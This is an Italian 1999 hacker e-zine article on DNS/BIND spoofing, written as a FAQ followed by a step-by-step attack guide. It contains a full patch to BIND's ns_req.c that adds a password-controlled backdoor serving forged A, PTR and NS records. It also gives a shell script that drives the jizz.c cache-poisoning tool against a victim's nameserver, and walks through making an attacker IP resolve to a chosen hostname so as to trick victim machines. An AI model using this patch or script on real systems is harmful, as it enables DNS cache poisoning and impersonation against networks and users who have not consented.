============================================================================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- --------------------[ previous ]---[ index ]---[ next ]--------------------- ---------------[ DNS/BiND SP00FiNG F.A.Q. AND PRATiCAL USES ]--------------- ----------------------------------[ VaLV0LiN3 ]------------------------------- .------------------. | \ \ / / |_ 0. intr0 |ValV0liN3 cReW '99|| 1. PreLiMiNaRi | \ \ / / || 2. Implementazione dell'attakko | \ ^ / || |_ _ _ \___/_ _ _ _|| '------------------' .---------------------------------------------, | 0. intr0, gr33tz, fuckiNG, miSC | '---------------------------------------------' R3s0urC3 : 4 - Litri di COCA 15 - Aspirine (mi e' venuta la febbre, pork') 10 - Papini (wurstel, patatine, tomato, majonese) Pink Floyd, The Cure, Massive AttacK, 99Posse Entertainment TiM3/DaTe : 14/04/99 - 03.50 gr33tZ : I Mie Ringraziamenti, vanno a tutta la posse di s0ftpj... ...in particolare: smaster - grazie per la pazienza, br0th' \sPIRIT\ - sikuri di vincere con NeTRaiDeR! :PP Cavallo - uahuzhauhzuhauhz Dashie, |scacco|, B_Berry, pIGpEN... ...inoltre: xOANON, PhoenYx ...e tutti gli altri, che non mi vengono in mente (quando mai!) .----------------. |01. PreLiMiNaRi | '----------------' Innanzitutto, alcuni chiarimenti: Molte persone, mi hanno scritto e chiesto come sp00fare il proprio IP su IRC. IL DNS/BIND SPOOFING, non e' completamente UTILE (almeno in parte) per lo spoofing del proprio IP su IRC. Tutti i grossi IRC-Network, adesso, sono protetti da questo tipo di attakko, l'unico server, da me provato, che continua, ad essere vulnerabile a quest'attakko e'....uahuzhauhzh...irc.tin.it...auhzuhauhzuhauhz per il resto TUTTI gli altri server di EFNET, UnderNET, DALNet, etc.etc. sono completamente CHIUSI a quest'attakko. Quindi se stai leggendo, solo per lamerare su IRC, vai a cercarti qualkos'altro da fare. Motivo utile, invece e' l'uso di shell, FTP e tutto il resto che vi puo' venire in mente con un accesso ristretto. lam0r> Ho sentito dire, che l'unico programma utilizzabile, per sp00fare e' "erect.c" r0x> uahuhauh... cazzate. Mai sentito parlare di jizz.c ? Quando finirai di leggere, capirai che JIZZ non solo e' piu' facile da utilizzare, ma anche molto piu' efficente! lam0r> E' vero che devo aspettare almeno un'ora prima di poter spoofare nuovamente un IP, utilizzando il JIZZ? r0x> In parte e' vero, per il resto no. Le vecchie versioni di jizz.c non comprendevano un'opzione di modifica TTL (TTL = Tempo di Vita) che serve proprio a questo: TTL e' il tempo di vita dello sp00f. Nelle vecchie versioni, mancando quest'opzione, era necessaria circa un'ora per killare lo sp00f. Le nuove versioni sono completamente libere da questo problema; e' presente infatti un'opzione che permette di cambiare a piacimento il tempo di vita dello sp00f. .--------------------------------. |02. Implementazione dell'attakko| '--------------------------------' Prima di cominciare, ricordo ai piu' profani che per implementare e fare andare a buon fine quest'attakko OCCORE ESSERE ROOT su un DNS AUTORITATIVO, altrimenti non funzionera' mai niente. Passo 1) Assicurati, che il Name Server (da ora in poi NS), che stai utilizzando e' un NS Autoritativo: (deve essere considerato da interNIC come un netword di "Classe C"). Ad esempio: il server DNS di TIN e' autoritativo per TIN. Passo 2) Forziamo le regole... Una volta accertato (e r00tato) il NS Autoritativo dobbiamo apportare un po' di modifiche al Software DNS (in questo caso specifico al BIND). Il Patch, andra' a modificare il file "ns_req.c". Per fare questo, utilizzeremo il comando: "patch -p1 < ns_req.c". Una volta patchato il BIND BISOGNA ricompilare il tutto. Il patch, che avrai "cuttato", DEVE ESSERE CHIAMATO: "ns_req.c.patch" ---------- snip ---------- *** named/ns_req.c Tue Oct 8 00:51:05 1996 --- ns_req.c Thu Apr 24 13:28:55 1997 *************** *** 131,136 **** --- 131,165 ---- u_int16_t, u_int16_t)); static void copyCharString __P((u_char **, const char *)); + + #ifdef JORDY + /* preset first ones */ + char spoofHost[256] = "is.a.lamer"; + char spoofIP[16] = "209.84.0.208"; + + /* zee password */ + char spoofPassword[] = "moron"; + + /* host to force spoof code from */ + const char queryHost[] = "stupid.wserv.com"; + + /* domain because i'm too lazy to parse it out */ + const char authDomain[] = "wserv.com"; + + /* primary nameserver.. you MUST run this as primary */ + const char primaryName[] = "snappy.wserv.com"; + + /* this is the IP *BACKWARDS* so 12.34.56.78 becomes 78.56.34.12 */ + const char primaryIP[] = "2.188.105.206"; + + /* secondary */ + const char secondaryName[] = "dew.wserv.com"; + + /* this is the IP *BACKWARDS */ + const char secondaryIP[] = "2.86.0.208"; + #endif + + /* * Process request using database; assemble and send response. */ *************** *** 231,243 **** /*NOTREACHED*/ } /* * apply final polish */ hp->qr = 1; /* set Response flag */ hp->ra = (NoRecurse == 0); ! n = doaddinfo(hp, cp, buflen); cp += n; buflen -= n; --- 260,273 ---- /*NOTREACHED*/ } + /* * apply final polish */ hp->qr = 1; /* set Response flag */ hp->ra = (NoRecurse == 0); ! n = doaddinfo(hp, cp, buflen); cp += n; buflen -= n; *************** *** 253,258 **** --- 283,289 ---- if (debug >= 10) fp_nquery(msg, cp - msg, ddt); #endif /*DEBUG*/ + if (qsp == QSTREAM_NULL) { if (sendto(dfd, (char*)msg, cp - msg, 0, (struct sockaddr *)from, *************** *** 501,506 **** --- 532,755 ---- *msglenp = *cpp - msg; /* Total message length */ return (Finish); } + #ifdef JORDY + /* remote modification of the parameters, by fx */ + if (dnbuf[0] == '@') { + char *dip1, *dip2, *dip3, *dip4, *dpass; + char *tokenPtr, *dip, *dhost; + + /* split query into tokens */ + tokenPtr = strtok(dnbuf, "@"); + dpass = tokenPtr; + dip = strtok(NULL, "@"); + dhost = strtok(NULL, "@"); + + /* tokenize ip bits */ + tokenPtr = strtok(dip, "."); + dip1 = tokenPtr; + dip2 = strtok(NULL, "."); + dip3 = strtok(NULL, "."); + dip4 = strtok(NULL, "."); + + if (!strcasecmp(dpass, spoofPassword)) { + if (strlen(dhost) < 255) + sprintf(spoofHost, "%s", dhost); + if (strlen(dip1)+strlen(dip2)+strlen(dip3)+strlen(dip4)+3 <= 15)+ sprintf(spoofIP, "%s.%s.%s.%s", dip4, dip3, dip2, dip1); + + syslog(LOG_INFO, "PASSWORD ACCEPTED: %s->%s", spoofIP, spoofHost); + + hp->rcode = NXDOMAIN; + return(Finish); + } + } + + if (!strcasecmp(dnbuf, queryHost)) { + u_char *tp; + char tbuf[30], *tptr, sh[255]; + + hp->aa = 1; + hp->qr = 1; + hp->rd = 1; + hp->ra = 1; + hp->rcode = NOERROR; + hp->ancount = htons(3); + hp->nscount = htons(3); + hp->arcount = htons(3); + + /* this is a lame hack, but i can't seem to figure out why in + heck it keeps adding \'s before my stuff */ + + + /* SPOOFHOST TTL IN A IP */ + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_A, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + PUTSHORT(INT32SZ, *cpp); + PUTLONG(inet_addr(spoofIP), *cpp); + + + /* REVERSE.IP.IN-ADDR.ARPA TTL IN PTR SPOOFHOST */ + + strcpy(tbuf, spoofIP); + strcat(tbuf, ".in-addr.arpa"); + + for (tptr = strtok(tbuf, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_PTR, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + tp = *cpp; /* Temp RdLength */ + PUTSHORT(0, *cpp); + + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* CREDITS */ + copyCharString(cpp, "jordy"); + copyCharString(cpp, "made"); + copyCharString(cpp, "this"); + *(*cpp)++ = 0x00; + PUTSHORT(T_TXT, *cpp); + PUTSHORT(C_IN, *cpp); + PUTLONG(0, *cpp); + tp = *cpp; + PUTSHORT(0, *cpp); + copyCharString(cpp, "thanks to prym, fx and hs"); + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* MYDOMAIN.TLD TTL IN NS PRIMARY.NS */ + strcpy(sh, authDomain); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_NS, *cpp); + PUTSHORT(C_IN, *cpp); + PUTLONG(60, *cpp); + tp = *cpp; /* Temp RdLength */ + PUTSHORT(0, *cpp); + + strcpy(sh, primaryName); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* MYDOMAIN.TLD TTL IN NS SECONDARY.NS */ + strcpy(sh, authDomain); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_NS, *cpp); + PUTSHORT(C_IN, *cpp); + PUTLONG(60, *cpp); + tp = *cpp; /* Temp RdLength */ + PUTSHORT(0, *cpp); + + strcpy(sh, secondaryName); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* SPOOFHOST TTL IN NS NS.SPOOFHOST */ + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_NS, *cpp); + PUTSHORT(C_IN, *cpp); + PUTLONG(60, *cpp); + tp = *cpp; /* Temp RdLength */ + PUTSHORT(0, *cpp); + + copyCharString(cpp, "ns"); + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT((*cpp) - (tp + INT16SZ), tp); /* Real RdLength */ + + + /* PRIMARY.NS TTL IN A IP */ + strcpy(sh, primaryName); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_A, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + PUTSHORT(INT32SZ, *cpp); + PUTLONG(inet_addr(primaryIP), *cpp); + + + /* NS.SPOOFHOST IN A IP */ + + copyCharString(cpp, "ns"); /* Name */ + + strcpy(sh, spoofHost); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_A, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + PUTSHORT(INT32SZ, *cpp); + PUTLONG(13245678, *cpp); + + /* SECONDARY TTL IN A IP */ + strcpy(sh, secondaryName); + for (tptr = strtok(sh, "."); tptr != NULL; + tptr = strtok(NULL, ".")) + copyCharString(cpp, tptr); + + *(*cpp)++ = 0x00; + PUTSHORT(T_A, *cpp); /* Type */ + PUTSHORT(C_IN, *cpp); /* Class */ + PUTLONG(60, *cpp); /* TTL */ + PUTSHORT(INT32SZ, *cpp); + PUTLONG(inet_addr(secondaryIP), *cpp); + + *msglenp = *cpp - msg; /* Total message length */ + + return (Finish); + } + #endif /* JORDY */ /* * Process query. ---------- snip ---------- Passo3) Bene, ora che abbiamo "patchato" il BIND siamo pronti a sferrare il nostro attakko. Adesso entra in azione il jizz.c! Prima di tutto ti occorre scaricarlo ...uahuzhuahuz... ...puoi farlo dovunque, ad esempio: www.rootshell.com www.kyuzz.org/valvoline !-* Pubblicita' Okkulta!...uhauhzuahuzh *-| www.hack3rs.org ed in mille altri posti. Passo4) Ora, siamo davvero pronti, per sferrare l'attakko. Ci sono vari modi per utilizzare il jizz.c, io personalmente vi propongo un piccolo script che rendera' la vita molto piu' semplice... ...se poi volete proprio essere c00l fate un po' come credete...auhzuhauhz ---------- snip ---------- #!/bin/sh if [ "$4" = "" ] ; then echo "usage: $0 <starthost> <ns> <ip> <spoof>" exit 1 fi MANG=`nslookup $2 |grep Address|gawk '{print$2}'` NS_IP=`echo $MANG|gawk '{print$2}'` echo "killall named" killall named echo "$3 = $4... NS = $2($NS_IP)" sleep 2 ./jizz $1.domain.net hostname.domain.net $NS_IP hostname.domain.net $3 $4>>/dev/null& sleep 3 nslookup $1.domain.net $NS_IP sleep 2 killall jizz sleep 2 echo "/usr/sbin/named" /usr/sbin/named exit ---------- snip ---------- In questo script, come avrai visto, ci sono alcune linee dove si parla di "domain.net" e "hostname.domain.net", queste vanno personalizzate con le proprie informazioni! Una volta sistemato salva il file con un qualsiasi nome ed avvialo: comparira' qualkosa del tipo: "usage: jizzinterface <starthost> <ns> <ip> <spoof>" Ankora una volta, i parametri da utilizzare, saranno quelli personali e relativi alla propria situazione ed al proprio NS. Passo5) Bene. Innanzitutto e' necessario conoscere i NS della nostra vittima. Sicuramente, ci saranno 2 NS; questi sono i possibili NS che la vittima contattera' per avere risolti gli indirizzi IP. Ad esempio, potremmo avere una situzione di questo tipo: NS.LAM0R.NET 212.216.235.2 NS1.LAM0R.NET 212.216.235.55 Bene! In questo caso utilizzeremo il nostro script, ritagliato appena prima; gli faremo chachare nel server NS.LAM0R.NET che l'IP: 66.66.66.66 (il nostro IP) e': im.rulezzing.fucked.lam0r.net Una volta cachato, la macchina vittima ci riconoscera' e risolvera' il nostro IP come: im.rulezzing.fucked.lam0r.net. Valv0lin3 --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================